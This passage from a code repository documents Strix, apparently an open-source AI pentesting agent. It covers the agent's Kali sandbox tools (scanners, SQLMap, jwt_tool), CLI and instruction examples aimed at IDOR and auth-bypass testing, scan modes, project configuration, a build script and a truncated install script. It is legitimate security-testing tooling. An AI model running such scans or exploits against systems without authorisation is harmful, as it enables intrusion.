    "content": "---\ntitle: \"Sandbox Tools\"\ndescription: \"Pre-installed security tools in the Strix container\"\n---\n\nStrix runs inside a Kali Linux-based Docker container with a comprehensive set of security tools pre-installed. The agent can use any of these tools through the [terminal](/tools/terminal).\n\n## Reconnaissance\n\n| Tool                                                       | Description                            |\n| ---------------------------------------------------------- | -------------------------------------- |\n| [Subfinder](https://github.com/projectdiscovery/subfinder) | Subdomain discovery                    |\n| [Naabu](https://github.com/projectdiscovery/naabu)         | Fast port scanner                      |\n| [httpx](https://github.com/projectdiscovery/httpx)         | HTTP probing and analysis              |\n| [Katana](https://github.com/projectdiscovery/katana)       | Web crawling and spidering             |\n| [ffuf](https://github.com/ffuf/ffuf)                       | Fast web fuzzer                        |\n| [Nmap](https://nmap.org)                                   | Network scanning and service detection |\n\n## Web Testing\n\n| Tool                                                   | Description                      |\n| ------------------------------------------------------ | -------------------------------- |\n| [Arjun](https://github.com/s0md3v/Arjun)               | HTTP parameter discovery         |\n| [Dirsearch](https://github.com/maurosoria/dirsearch)   | Directory and file brute-forcing |\n| [wafw00f](https://github.com/EnableSecurity/wafw00f)   | WAF fingerprinting               |\n| [GoSpider](https://github.com/jaeles-project/gospider) | Web spider for link extraction   |\n\n## Automated Scanners\n\n| Tool                                                 | Description                                        |\n| ---------------------------------------------------- | -------------------------------------------------- |\n| [Nuclei](https://github.com/projectdiscovery/nuclei) | Template-based vulnerability scanner               |\n| [SQLMap](https://sqlmap.org)                         | Automatic SQL injection detection and exploitation |\n| [Wapiti](https://wapiti-scanner.github.io)           | Web application vulnerability scanner              |\n| [ZAP](https://zaproxy.org)                           | OWASP Zed Attack Proxy                             |\n\n## JavaScript Analysis\n\n| Tool                                                     | Description                    |\n| -------------------------------------------------------- | ------------------------------ |\n| [JS-Snooper](https://github.com/aravind0x7/JS-Snooper)   | JavaScript reconnaissance      |\n| [jsniper](https://github.com/xchopath/jsniper.sh)        | JavaScript file analysis       |\n| [Retire.js](https://retirejs.github.io/retire.js)        | Detect vulnerable JS libraries |\n| [ESLint](https://eslint.org)                             | JavaScript static analysis     |\n| [js-beautify](https://github.com/beautifier/js-beautify) | JavaScript deobfuscation       |\n| [JSHint](https://jshint.com)                             | JavaScript code quality tool   |\n\n## Secret Detection\n\n| Tool                                                        | Description                           |\n| ----------------------------------------------------------- | ------------------------------------- |\n| [TruffleHog](https://github.com/trufflesecurity/trufflehog) | Find secrets in code and history      |\n| [Semgrep](https://github.com/semgrep/semgrep)               | Static analysis for security patterns |\n| [Bandit](https://bandit.readthedocs.io)                     | Python security linter                |\n\n## Authentication Testing\n\n| Tool                                                         | Description                        |\n| ------------------------------------------------------------ | ---------------------------------- |\n| [jwt_tool](https://github.com/ticarpi/jwt_tool)              | JWT token testing and exploitation |\n| [Interactsh](https://github.com/projectdiscovery/interactsh) | Out-of-band interaction detection  |\n\n## Container & Supply Chain\n\n| Tool                       | Description                                    |\n| -------------------------- | ---------------------------------------------- |\n| [Trivy](https://trivy.dev) | Container and dependency vulnerability scanner |\n\n## HTTP Proxy\n\n| Tool                      | Description                                   |\n| ------------------------- | --------------------------------------------- |\n| [Caido](https://caido.io) | Modern HTTP proxy for interception and replay |\n\n## Browser\n\n| Tool                                 | Description                 |\n| ------------------------------------ | --------------------------- |\n| [Playwright](https://playwright.dev) | Headless browser automation |\n\n<Note>\n  All tools are pre-configured and ready to use. The agent selects the appropriate tool based on the vulnerability being tested.\n</Note>\n"
  },
  {
    "path": "docs/tools/terminal.mdx",
    "content": "---\ntitle: \"Terminal\"\ndescription: \"Bash shell for running commands and security tools\"\n---\n\nStrix has access to a persistent bash terminal running inside the Docker sandbox. This gives the agent access to all [pre-installed security tools](/tools/sandbox).\n\n## Capabilities\n\n| Feature           | Description                                                |\n| ----------------- | ---------------------------------------------------------- |\n| Persistent state  | Working directory and environment persist between commands |\n| Multiple sessions | Run parallel terminals for concurrent operations           |\n| Background jobs   | Start long-running processes without blocking              |\n| Interactive       | Respond to prompts and control running processes           |\n\n## Common Uses\n\n### Running Security Tools\n\n```bash\n# Subdomain enumeration\nsubfinder -d example.com\n\n# Vulnerability scanning\nnuclei -u https://example.com\n\n# SQL injection testing\nsqlmap -u \"https://example.com/page?id=1\"\n```\n\n### Code Analysis\n\n```bash\n# Search for secrets\ntrufflehog filesystem ./\n\n# Static analysis\nsemgrep --config auto ./src\n\n# Grep for patterns\ngrep -r \"password\" ./\n```\n\n### Custom Scripts\n\n```bash\n# Run Python exploits\npython3 exploit.py\n\n# Execute shell scripts\n./test_auth_bypass.sh\n```\n\n## Session Management\n\nThe agent can run multiple terminal sessions concurrently, for example:\n\n- Main session for primary testing\n- Secondary session for monitoring\n- Background processes for servers or watchers\n"
  },
  {
    "path": "docs/usage/cli.mdx",
    "content": "---\ntitle: \"CLI Reference\"\ndescription: \"Command-line options for Strix\"\n---\n\n## Basic Usage\n\n```bash\nstrix --target <target> [options]\n```\n\n## Options\n\n<ParamField path=\"--target, -t\" type=\"string\" required>\n  Target to test. Accepts URLs, repositories, local directories, domains, or IP addresses. Can be specified multiple times.\n</ParamField>\n\n<ParamField path=\"--instruction\" type=\"string\">\n  Custom instructions for the scan. Use for credentials, focus areas, or specific testing approaches.\n</ParamField>\n\n<ParamField path=\"--instruction-file\" type=\"string\">\n  Path to a file containing detailed instructions.\n</ParamField>\n\n<ParamField path=\"--scan-mode, -m\" type=\"string\" default=\"deep\">\n  Scan depth: `quick`, `standard`, or `deep`.\n</ParamField>\n\n<ParamField path=\"--non-interactive, -n\" type=\"boolean\">\n  Run in headless mode without TUI. Ideal for CI/CD.\n</ParamField>\n\n<ParamField path=\"--config\" type=\"string\">\n  Path to a custom config file (JSON) to use instead of `~/.strix/cli-config.json`.\n</ParamField>\n\n## Examples\n\n```bash\n# Basic scan\nstrix --target https://example.com\n\n# Authenticated testing\nstrix --target https://app.com --instruction \"Use credentials: user:pass\"\n\n# Focused testing\nstrix --target api.example.com --instruction \"Focus on IDOR and auth bypass\"\n\n# CI/CD mode\nstrix -n --target ./ --scan-mode quick\n\n# Multi-target white-box testing\nstrix -t https://github.com/org/app -t https://staging.example.com\n```\n\n## Exit Codes\n\n| Code | Meaning |\n|------|---------|\n| 0 | Scan completed, no vulnerabilities found |\n| 2 | Vulnerabilities found (headless mode only) |\n"
  },
  {
    "path": "docs/usage/instructions.mdx",
    "content": "---\ntitle: \"Custom Instructions\"\ndescription: \"Guide Strix with custom testing instructions\"\n---\n\nUse instructions to provide context, credentials, or focus areas for your scan.\n\n## Inline Instructions\n\n```bash\nstrix --target https://app.com --instruction \"Focus on authentication vulnerabilities\"\n```\n\n## File-Based Instructions\n\nFor complex instructions, use a file:\n\n```bash\nstrix --target https://app.com --instruction-file ./pentest-instructions.md\n```\n\n## Common Use Cases\n\n### Authenticated Testing\n\n```bash\nstrix --target https://app.com \\\n  --instruction \"Login with email: test@example.com, password: TestPass123\"\n```\n\n### Focused Scope\n\n```bash\nstrix --target https://api.example.com \\\n  --instruction \"Focus on IDOR vulnerabilities in the /api/users endpoints\"\n```\n\n### Exclusions\n\n```bash\nstrix --target https://app.com \\\n  --instruction \"Do not test /admin or /internal endpoints\"\n```\n\n### API Testing\n\n```bash\nstrix --target https://api.example.com \\\n  --instruction \"Use API key header: X-API-Key: abc123. Focus on rate limiting bypass.\"\n```\n\n## Instruction File Example\n\n```markdown instructions.md\n# Penetration Test Instructions\n\n## Credentials\n- Admin: admin@example.com / AdminPass123\n- User: user@example.com / UserPass123\n\n## Focus Areas\n1. IDOR in user profile endpoints\n2. Privilege escalation between roles\n3. JWT token manipulation\n\n## Out of Scope\n- /health endpoints\n- Third-party integrations\n```\n\n<Tip>\nBe specific. Good instructions help Strix prioritize the most valuable attack paths.\n</Tip>\n"
  },
  {
    "path": "docs/usage/scan-modes.mdx",
    "content": "---\ntitle: \"Scan Modes\"\ndescription: \"Choose the right scan depth for your use case\"\n---\n\nStrix offers three scan modes to balance speed and thoroughness.\n\n## Quick\n\n```bash\nstrix --target ./app --scan-mode quick\n```\n\nFast checks for obvious vulnerabilities. Best for:\n- CI/CD pipelines\n- Pull request validation\n- Rapid smoke tests\n\n**Duration**: Minutes\n\n## Standard\n\n```bash\nstrix --target ./app --scan-mode standard\n```\n\nBalanced testing for routine security reviews. Best for:\n- Regular security assessments\n- Pre-release validation\n- Development milestones\n\n**Duration**: 30 minutes to 1 hour\n\n## Deep\n\n```bash\nstrix --target ./app --scan-mode deep\n```\n\nThorough penetration testing. Best for:\n- Comprehensive security audits\n- Pre-production reviews\n- Critical application assessments\n\n**Duration**: 1-4 hours depending on target complexity\n\n<Note>\nDeep mode is the default. It explores edge cases, chained vulnerabilities, and complex attack paths.\n</Note>\n\n## Choosing a Mode\n\n| Scenario | Recommended Mode |\n|----------|------------------|\n| Every PR | Quick |\n| Weekly scans | Standard |\n| Before major release | Deep |\n| Bug bounty hunting | Deep |\n"
  },
  {
    "path": "pyproject.toml",
    "content": "[tool.poetry]\nname = \"strix-agent\"\nversion = \"0.8.2\"\ndescription = \"Open-source AI Hackers for your apps\"\nauthors = [\"Strix <hi@usestrix.com>\"]\nreadme = \"README.md\"\nlicense = \"Apache-2.0\"\nkeywords = [\n  \"cybersecurity\",\n  \"security\",\n  \"vulnerability\",\n  \"scanner\",\n  \"pentest\",\n  \"agent\",\n  \"ai\",\n  \"cli\",\n]\nclassifiers = [\n  \"Development Status :: 3 - Alpha\",\n  \"Intended Audience :: Information Technology\",\n  \"Intended Audience :: System Administrators\",\n  \"Topic :: Security\",\n  \"License :: OSI Approved :: Apache Software License\",\n  \"Environment :: Console\",\n  \"Programming Language :: Python\",\n  \"Programming Language :: Python :: 3\",\n  \"Programming Language :: Python :: 3 :: Only\",\n  \"Programming Language :: Python :: 3.12\",\n  \"Programming Language :: Python :: 3.13\",\n  \"Programming Language :: Python :: 3.14\",\n]\npackages = [\n  { include = \"strix\", format = [\"sdist\", \"wheel\"] }\n]\ninclude = [\n  \"LICENSE\",\n  \"README.md\",\n  \"strix/agents/**/*.jinja\",\n  \"strix/skills/**/*.md\",\n  \"strix/**/*.xml\",\n  \"strix/**/*.tcss\"\n]\n\n[tool.poetry.scripts]\nstrix = \"strix.interface.main:main\"\n\n[tool.poetry.dependencies]\npython = \"^3.12\"\n# Core CLI dependencies\nlitellm = { version = \"~1.81.1\", extras = [\"proxy\"] }\ntenacity = \"^9.0.0\"\npydantic = {extras = [\"email\"], version = \"^2.11.3\"}\nrich = \"*\"\ndocker = \"^7.1.0\"\ntextual = \"^4.0.0\"\nxmltodict = \"^0.13.0\"\nrequests = \"^2.32.0\"\ncvss = \"^3.2\"\ntraceloop-sdk = \"^0.53.0\"\nopentelemetry-exporter-otlp-proto-http = \"^1.40.0\"\nscrubadub = \"^2.0.1\"\n\n# Optional LLM provider dependencies\ngoogle-cloud-aiplatform = { version = \">=1.38\", optional = true }\n\n# Sandbox-only dependencies (only needed inside Docker container)\nfastapi = { version = \"*\", optional = true }\nuvicorn = { version = \"*\", optional = true }\nipython = { version = \"^9.3.0\", optional = true }\nopenhands-aci = { version = \"^0.3.0\", optional = true }\nplaywright = { version = \"^1.48.0\", optional = true }\ngql = { version = \"^3.5.3\", extras = [\"requests\"], optional = true }\npyte = { version = \"^0.8.1\", optional = true }\nlibtmux = { version = \"^0.46.2\", optional = true }\nnumpydoc = { version = \"^1.8.0\", optional = true }\ndefusedxml = \"^0.7.1\"\n\n[tool.poetry.extras]\nvertex = [\"google-cloud-aiplatform\"]\nsandbox = [\"fastapi\", \"uvicorn\", \"ipython\", \"openhands-aci\", \"playwright\", \"gql\", \"pyte\", \"libtmux\", \"numpydoc\"]\n\n[tool.poetry.group.dev.dependencies]\n# Type checking and static analysis\nmypy = \"^1.16.0\"\nruff = \"^0.11.13\"\npyright = \"^1.1.401\"\npylint = \"^3.3.7\"\nbandit = \"^1.8.3\"\n\n# Testing\npytest = \"^8.4.0\"\npytest-asyncio = \"^1.0.0\"\npytest-cov = \"^6.1.1\"\npytest-mock = \"^3.14.1\"\n\n# Development tools\npre-commit = \"^4.2.0\"\nblack = \"^25.1.0\"\nisort = \"^6.0.1\"\n\n# Build tools\npyinstaller = { version = \"^6.17.0\", python = \">=3.12,<3.15\" }\n\n[build-system]\nrequires = [\"poetry-core\"]\nbuild-backend = \"poetry.core.masonry.api\"\n\n# ============================================================================\n# Type Checking Configuration\n# ============================================================================\n\n[tool.mypy]\npython_version = \"3.12\"\nstrict = true\nstrict_optional = true\nwarn_redundant_casts = true\nwarn_unused_ignores = true\nwarn_return_any = true\nwarn_unreachable = true\ndisallow_untyped_defs = true\ndisallow_any_generics = true\ndisallow_subclassing_any = true\ndisallow_untyped_calls = true\ndisallow_incomplete_defs = true\ncheck_untyped_defs = true\ndisallow_untyped_decorators = true\nno_implicit_optional = true\nwarn_unused_configs = true\nshow_error_codes = true\nshow_column_numbers = true\npretty = true\n\n# Allow some flexibility for third-party libraries\n[[tool.mypy.overrides]]\nmodule = [\n    \"litellm.*\",\n    \"tenacity.*\",\n    \"numpydoc.*\",\n    \"rich.*\",\n    \"IPython.*\",\n    \"openhands_aci.*\",\n    \"playwright.*\",\n    \"uvicorn.*\",\n    \"jinja2.*\",\n    \"pydantic_settings.*\",\n    \"jwt.*\",\n    \"httpx.*\",\n    \"gql.*\",\n    \"textual.*\",\n    \"pyte.*\",\n    \"libtmux.*\",\n    \"pytest.*\",\n    \"cvss.*\",\n    \"opentelemetry.*\",\n    \"scrubadub.*\",\n    \"traceloop.*\",\n]\nignore_missing_imports = true\n\n# Relax strict rules for test files (pytest decorators are not fully typed)\n[[tool.mypy.overrides]]\nmodule = [\"tests.*\"]\ndisallow_untyped_decorators = false\ndisallow_untyped_defs = false\n\n# ============================================================================\n# Ruff Configuration (Fast Python Linter & Formatter)\n# ============================================================================\n\n[tool.ruff]\ntarget-version = \"py312\"\nline-length = 100\nextend-exclude = [\n    \".git\",\n    \".mypy_cache\",\n    \".pytest_cache\",\n    \".ruff_cache\",\n    \"__pycache__\",\n    \"build\",\n    \"dist\",\n    \"migrations\",\n]\n\n[tool.ruff.lint]\n# Enable comprehensive rule sets\nselect = [\n    \"E\",   # pycodestyle errors\n    \"W\",   # pycodestyle warnings\n    \"F\",   # Pyflakes\n    \"I\",   # isort\n    \"N\",   # pep8-naming\n    \"UP\",  # pyupgrade\n    \"YTT\", # flake8-2020\n    \"S\",   # flake8-bandit\n    \"BLE\", # flake8-blind-except\n    \"FBT\", # flake8-boolean-trap\n    \"B\",   # flake8-bugbear\n    \"A\",   # flake8-builtins\n    \"COM\", # flake8-commas\n    \"C4\",  # flake8-comprehensions\n    \"DTZ\", # flake8-datetimez\n    \"T10\", # flake8-debugger\n    \"EM\",  # flake8-errmsg\n    \"FA\",  # flake8-future-annotations\n    \"ISC\", # flake8-implicit-str-concat\n    \"ICN\", # flake8-import-conventions\n    \"G\",   # flake8-logging-format\n    \"INP\", # flake8-no-pep420\n    \"PIE\", # flake8-pie\n    \"T20\", # flake8-print\n    \"PYI\", # flake8-pyi\n    \"PT\",  # flake8-pytest-style\n    \"Q\",   # flake8-quotes\n    \"RSE\", # flake8-raise\n    \"RET\", # flake8-return\n    \"SLF\", # flake8-self\n    \"SIM\", # flake8-simplify\n    \"TID\", # flake8-tidy-imports\n    \"TCH\", # flake8-type-checking\n    \"ARG\", # flake8-unused-arguments\n    \"PTH\", # flake8-use-pathlib\n    \"ERA\", # eradicate\n    \"PD\",  # pandas-vet\n    \"PGH\", # pygrep-hooks\n    \"PL\",  # Pylint\n    \"TRY\", # tryceratops\n    \"FLY\", # flynt\n    \"PERF\", # Perflint\n    \"RUF\", # Ruff-specific rules\n]\n\nignore = [\n    \"S101\",   # Use of assert\n    \"S104\",   # Possible binding to all interfaces\n    \"S301\",   # Use of pickle\n    \"COM812\", # Missing trailing comma (handled by formatter)\n    \"ISC001\", # Single line implicit string concatenation (handled by formatter)\n    \"PLR0913\", # Too many arguments to function call\n    \"TRY003\",  # Avoid specifying long messages outside the exception class\n    \"EM101\",   # Exception must not use a string literal\n    \"EM102\",   # Exception must not use an f-string literal\n    \"FBT001\",  # Boolean positional arg in function definition\n    \"FBT002\",  # Boolean default positional argument in function definition\n    \"G004\",    # Logging statement uses f-string\n    \"PLR2004\", # Magic value used in comparison\n    \"SLF001\",  # Private member accessed\n]\n\n[tool.ruff.lint.per-file-ignores]\n\"tests/**/*.py\" = [\n    \"S106\",   # Possible hardcoded password\n    \"S108\",   # Possible insecure usage of temporary file/directory\n    \"ARG001\", # Unused function argument\n    \"PLR2004\", # Magic value used in comparison\n]\n\"strix/tools/**/*.py\" = [\n    \"ARG001\", # Unused function argument (tools may have unused args for interface consistency)\n]\n\n[tool.ruff.lint.isort]\nforce-single-line = false\nlines-after-imports = 2\nknown-first-party = [\"strix\"]\nknown-third-party = [\"fastapi\", \"pydantic\"]\n\n[tool.ruff.lint.pylint]\nmax-args = 8\n\n[tool.ruff.format]\nquote-style = \"double\"\nindent-style = \"space\"\nskip-magic-trailing-comma = false\nline-ending = \"auto\"\n\n# ============================================================================\n# PyRight Configuration (Alternative type checker)\n# ============================================================================\n\n[tool.pyright]\ninclude = [\"strix\"]\nexclude = [\"**/__pycache__\", \"build\", \"dist\"]\npythonVersion = \"3.12\"\npythonPlatform = \"Linux\"\n\ntypeCheckingMode = \"strict\"\nreportMissingImports = true\nreportMissingTypeStubs = false\nreportGeneralTypeIssues = true\nreportPropertyTypeMismatch = true\nreportFunctionMemberAccess = true\nreportMissingParameterType = true\nreportMissingTypeArgument = true\nreportIncompatibleMethodOverride = true\nreportIncompatibleVariableOverride = true\nreportInconsistentConstructor = true\nreportOverlappingOverload = true\nreportConstantRedefinition = true\nreportImportCycles = true\nreportUnusedImport = true\nreportUnusedClass = true\nreportUnusedFunction = true\nreportUnusedVariable = true\nreportDuplicateImport = true\n\n# ============================================================================\n# Black Configuration (Code Formatter)\n# ============================================================================\n\n[tool.black]\nline-length = 100\ntarget-version = ['py312']\ninclude = '\\\\.pyi?$'\nextend-exclude = '''\n/(\n  # directories\n  \\.eggs\n  | \\.git\n  | \\.hg\n  | \\.mypy_cache\n  | \\.tox\n  | \\.venv\n  | build\n  | dist\n)/\n'''\n\n# ============================================================================\n# isort Configuration (Import Sorting)\n# ============================================================================\n\n[tool.isort]\nprofile = \"black\"\nline_length = 100\nmulti_line_output = 3\ninclude_trailing_comma = true\nforce_grid_wrap = 0\nuse_parentheses = true\nensure_newline_before_comments = true\nknown_first_party = [\"strix\"]\nknown_third_party = [\"fastapi\", \"pydantic\", \"litellm\", \"tenacity\"]\n\n# ============================================================================\n# Pytest Configuration\n# ============================================================================\n\n[tool.pytest.ini_options]\nminversion = \"6.0\"\naddopts = [\n    \"--strict-markers\",\n    \"--strict-config\",\n    \"--cov=strix\",\n    \"--cov-report=term-missing\",\n    \"--cov-report=html\",\n    \"--cov-report=xml\",\n]\ntestpaths = [\"tests\"]\npython_files = [\"test_*.py\", \"*_test.py\"]\npython_functions = [\"test_*\"]\npython_classes = [\"Test*\"]\nasyncio_mode = \"auto\"\n\n[tool.coverage.run]\nsource = [\"strix\"]\nomit = [\n    \"*/tests/*\",\n    \"*/migrations/*\",\n    \"*/__pycache__/*\"\n]\n\n[tool.coverage.report]\nexclude_lines = [\n    \"pragma: no cover\",\n    \"def __repr__\",\n    \"if self.debug:\",\n    \"if settings.DEBUG\",\n    \"raise AssertionError\",\n    \"raise NotImplementedError\",\n    \"if 0:\",\n    \"if __name__ == .__main__.:\",\n    \"class .*\\\\bProtocol\\\\):\",\n    \"@(abc\\\\.)?abstractmethod\",\n]\n\n# ============================================================================\n# Bandit Configuration (Security Linting)\n# ============================================================================\n\n[tool.bandit]\nexclude_dirs = [\"tests\", \"docs\", \"build\", \"dist\"]\nskips = [\"B101\", \"B601\", \"B404\", \"B603\", \"B607\"]  # Skip assert, shell injection, subprocess import and partial path checks\nseverity = \"medium\"\n"
  },
  {
    "path": "scripts/build.sh",
    "content": "#!/bin/bash\nset -e\n\nSCRIPT_DIR=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" && pwd)\"\nPROJECT_ROOT=\"$(cd \"$SCRIPT_DIR/..\" && pwd)\"\n\nRED='\\033[0;31m'\nGREEN='\\033[0;32m'\nYELLOW='\\033[1;33m'\nBLUE='\\033[0;34m'\nNC='\\033[0m' # No Color\n\necho -e \"${BLUE}🦉 Strix Build Script${NC}\"\necho \"================================\"\n\nOS=\"$(uname -s)\"\nARCH=\"$(uname -m)\"\n\ncase \"$OS\" in\n    Linux*)     OS_NAME=\"linux\";;\n    Darwin*)    OS_NAME=\"macos\";;\n    MINGW*|MSYS*|CYGWIN*) OS_NAME=\"windows\";;\n    *)          OS_NAME=\"unknown\";;\nesac\n\ncase \"$ARCH\" in\n    x86_64|amd64)   ARCH_NAME=\"x86_64\";;\n    arm64|aarch64)  ARCH_NAME=\"arm64\";;\n    *)              ARCH_NAME=\"$ARCH\";;\nesac\n\necho -e \"${YELLOW}Platform:${NC} $OS_NAME-$ARCH_NAME\"\n\ncd \"$PROJECT_ROOT\"\n\nif ! command -v poetry &> /dev/null; then\n    echo -e \"${RED}Error: Poetry is not installed${NC}\"\n    echo \"Please install Poetry first: https://python-poetry.org/docs/#installation\"\n    exit 1\nfi\n\necho -e \"\\n${BLUE}Installing dependencies...${NC}\"\npoetry install --with dev\n\nVERSION=$(poetry version -s)\necho -e \"${YELLOW}Version:${NC} $VERSION\"\n\necho -e \"\\n${BLUE}Cleaning previous builds...${NC}\"\nrm -rf build/ dist/\n\necho -e \"\\n${BLUE}Building binary with PyInstaller...${NC}\"\npoetry run pyinstaller strix.spec --noconfirm\n\nRELEASE_DIR=\"dist/release\"\nmkdir -p \"$RELEASE_DIR\"\n\nBINARY_NAME=\"strix-${VERSION}-${OS_NAME}-${ARCH_NAME}\"\n\nif [ \"$OS_NAME\" = \"windows\" ]; then\n    if [ ! -f \"dist/strix.exe\" ]; then\n        echo -e \"${RED}Build failed: Binary not found${NC}\"\n        exit 1\n    fi\n    BINARY_NAME=\"${BINARY_NAME}.exe\"\n    cp \"dist/strix.exe\" \"$RELEASE_DIR/$BINARY_NAME\"\n    echo -e \"\\n${BLUE}Creating zip...${NC}\"\n    ARCHIVE_NAME=\"${BINARY_NAME%.exe}.zip\"\n\n    if command -v 7z &> /dev/null; then\n        7z a \"$RELEASE_DIR/$ARCHIVE_NAME\" \"$RELEASE_DIR/$BINARY_NAME\"\n    else\n        powershell -Command \"Compress-Archive -Path '$RELEASE_DIR/$BINARY_NAME' -DestinationPath '$RELEASE_DIR/$ARCHIVE_NAME'\"\n    fi\n    echo -e \"${GREEN}Created:${NC} $RELEASE_DIR/$ARCHIVE_NAME\"\nelse\n    if [ ! -f \"dist/strix\" ]; then\n        echo -e \"${RED}Build failed: Binary not found${NC}\"\n        exit 1\n    fi\n    cp \"dist/strix\" \"$RELEASE_DIR/$BINARY_NAME\"\n    chmod +x \"$RELEASE_DIR/$BINARY_NAME\"\n    echo -e \"\\n${BLUE}Creating tarball...${NC}\"\n    ARCHIVE_NAME=\"${BINARY_NAME}.tar.gz\"\n    tar -czvf \"$RELEASE_DIR/$ARCHIVE_NAME\" -C \"$RELEASE_DIR\" \"$BINARY_NAME\"\n    echo -e \"${GREEN}Created:${NC} $RELEASE_DIR/$ARCHIVE_NAME\"\nfi\n\necho -e \"\\n${GREEN}Build successful!${NC}\"\necho \"================================\"\necho -e \"${YELLOW}Binary:${NC} $RELEASE_DIR/$BINARY_NAME\"\n\nSIZE=$(ls -lh \"$RELEASE_DIR/$BINARY_NAME\" | awk '{print $5}')\necho -e \"${YELLOW}Size:${NC} $SIZE\"\n\necho -e \"\\n${BLUE}Testing binary...${NC}\"\n\"$RELEASE_DIR/$BINARY_NAME\" --help > /dev/null 2>&1 && echo -e \"${GREEN}Binary test passed!${NC}\" || echo -e \"${RED}Binary test failed${NC}\"\n\necho -e \"\\n${GREEN}Done!${NC}\"\n"
  },
  {
    "path": "scripts/install.sh",
    "content": "#!/usr/bin/env bash\n\nset -euo pipefail\n\nAPP=strix\nREPO=\"usestrix/strix\"\nSTRIX_IMAGE=\"ghcr.io/usestrix/strix-sandbox:0.1.12\"\n\nMUTED='\\033[0;2m'\nRED='\\033[0;31m'\nGREEN='\\033[0;32m'\nYELLOW='\\033[1;33m'\nCYAN='\\033[0;36m'\nNC='\\033[0m'\n\nrequested_version=${VERSION:-}\nSKIP_DOWNLOAD=false\n\nraw_os=$(uname -s)\nos=$(echo \"$raw_os\" | tr '[:upper:]' '[:lower:]')\ncase \"$raw_os\" in\n  Darwin*) os=\"macos\" ;;\n  Linux*) os=\"linux\" ;;\n  MINGW*|MSYS*|CYGWIN*) os=\"windows\" ;;\nesac\n\narch=$(uname -m)\nif [[ \"$arch\" == \"aarch64\" ]]; then\n  arch=\"arm64\"\nfi\nif [[ \"$arch\" == \"x86_64\" ]]; then\n  arch=\"x86_64\"\nfi\n\nif [ \"$os\" = \"macos\" ] && [ \"$arch\" = \"x86_64\" ]; then\n  rosetta_flag=$(sysctl -n sysctl.proc_translated 2>/dev/null || echo 0)\n  if [ \"$rosetta_flag\" = \"1\" ]; then\n    arch=\"arm64\"\n  fi\nfi\n\ncombo=\"$os-$arch\"\ncase \"$combo\" in\n  linux-x86_64|macos-x86_64|macos-arm64|windows-x86_64)\n    ;;\n  *)\n    echo -e \"${RED}Unsupported OS/Arch: $os/$arch${NC}\"\n    exit 1\n    ;;\nesac\n\narchive_ext=\".tar.gz\"\nif [ \"$os\" = \"windows\" ]; then\n  archive_ext=\".zip\"\nfi\n\ntarget=\"$os-$arch\"\n\nif [ \"$os\" = \"linux\" ]; then\n    if ! command -v tar >/dev/null 2>&1; then\n         echo -e \"${RED}Error: 'tar' is required but not installed.${NC}\"\n         exit 1\n    fi\nfi\n\nif [ \"$os\" = \"windows\" ]; then\n    if ! command -v unzip >/dev/null 2>&1; then\n        echo -e \"${RED}Error: 'unzip' is required but not installed.${NC}\"\n        exit 1\n    fi\nfi\n\nINSTALL_DIR=$HOME/.strix/bin\nmkdir -p \"$INSTALL_DIR\"\n\nif [ -z \"$requested_version\" ]; then\n    specific_version=$(curl -s \"https://api.github.com/repos/$REPO/releases/latest\" | sed -n 's/.*\"tag_name\": *\"v\\([^\"]*\\)\".*/\\1/p')\n    if [[ $? -ne 0 || -z \"$specific_version\" ]]; then\n        echo -e \"${RED}Failed to fetch version information${NC}\"\n        exit 1\n    fi\nelse\n    specific_version=$requested_version\nfi\n\nfilename=\"$APP-${specific_version}-${target}${archive_ext}\"\nurl=\"https://github.com/$REPO/releases/download/v${specific_version}/$filename\"\n\nprint_message() {\n    local level=$1\n    local message=$2\n    local color=\"\"\n    case $level in\n        info) color=\"${NC}\" ;;\n        success) color=\"${GREEN}\" ;;\n        warning) color=\"${YELLOW}\" ;;\n        error) color=\"${RED}\" ;;\n    esac\n    echo -e \"${color}${message}${NC}\"\n}\n\ncheck_existing_installation() {\n    local found_paths=()\n    while IFS= read -r -d '' path; do\n        found_paths+=(\"$path\")\n    done < <(which -a strix 2>/dev/null | tr '\\n' '\\0' || true)\n\n    if [ ${#found_paths[@]} -gt 0 ]; then\n        for path in \"${found_paths[@]}\"; do\n            if [[ ! -e \"$path\" ]] || [[ \"$path\" == \"$INSTALL_DIR/strix\"* ]]; then\n                continue\n            fi\n\n            if [[ -n \"$path\" ]]; then\n                echo -e \"${MUTED}Found existing strix at: ${NC}$path\"\n\n                if [[ \"$path\" == *\".local/bin\"* ]]; then\n                    echo -e \"${MUTED}Removing old pipx installation...${NC}\"\n                    if command -v pipx >/dev/null 2>&1; then\n                        pipx uninstall strix-agent 2>/dev/null || true\n                    fi\n                    rm -f \"$path\" 2>/dev/null || true\n                elif [[ -L \"$path\" || -f \"$path\" ]]; then\n                    echo -e \"${MUTED}Removing old installation...${NC}\"\n                    rm -f \"$path\" 2>/dev/null || true\n                fi\n            fi\n        done\n    fi\n}\n\ncheck_version() {\n    check_existing_installation\n\n    if [[ -x \"$INSTALL_DIR/strix\" ]]; then\n        installed_version=$(\"$INSTALL_DIR/strix\" --version 2>/dev/null | awk '{print $2}' || echo \"\")\n        if [[ \"$installed_version\" == \"$specific_version\" ]]; then\n            print_message info \"${GREEN}✓ Strix ${NC}$specific_version${GREEN} already installed${NC}\"\n            SKIP_DOWNLOAD=true\n        elif [[ -n \"$installed_version\" ]]; then\n            print_message info \"${MUTED}Installed: ${NC}$installed_version ${MUTED}→ Upgrading to ${NC}$specific_version\"\n        fi\n    fi\n}\n\ndownload_and_install() {\n    print_message info \"\\n${CYAN}🦉 Installing Strix${NC} ${MUTED}version: ${NC}$specific_version\"\n    print_message info \"${MUTED}Platform: ${NC}$target\\n\"\n\n    local tmp_dir=$(mktemp -d)\n    cd \"$tmp_dir\"\n\n    echo -e \"${MUTED}Downloading...${NC}\"\n    curl -# -L -o \"$filename\" \"$url\"\n\n    if [ ! -f \"$filename\" ]; then\n        echo -e \"${RED}Download failed${NC}\"\n        exit 1\n    fi\n\n    echo -e \"${MUTED}Extracting...${NC}\"\n    if [ \"$os\" = \"windows\" ]; then\n        unzip -q \"$filename\"\n        mv \"strix-${specific_version}-${target}.exe\" \"$INSTALL_DIR/strix.exe\"\n    else\n        tar -xzf \"$filename\"\n        mv \"strix-${specific_version}-${target}\" \"$INSTALL_DIR/strix\"\n        chmod 755 \"$INSTALL_DIR/strix\"\n    fi\n\n    cd - > /dev/null\n    rm -rf \"$tmp_dir\"\n\n    echo -e \"${GREEN}✓ Strix installed to $INSTALL_DIR${NC}\"\n}\n\ncheck_docker() {\n    echo \"\"\n    if ! command -v docker >/dev/null 2>&1; then\n        echo -e \"${YELLOW}⚠ Docker not 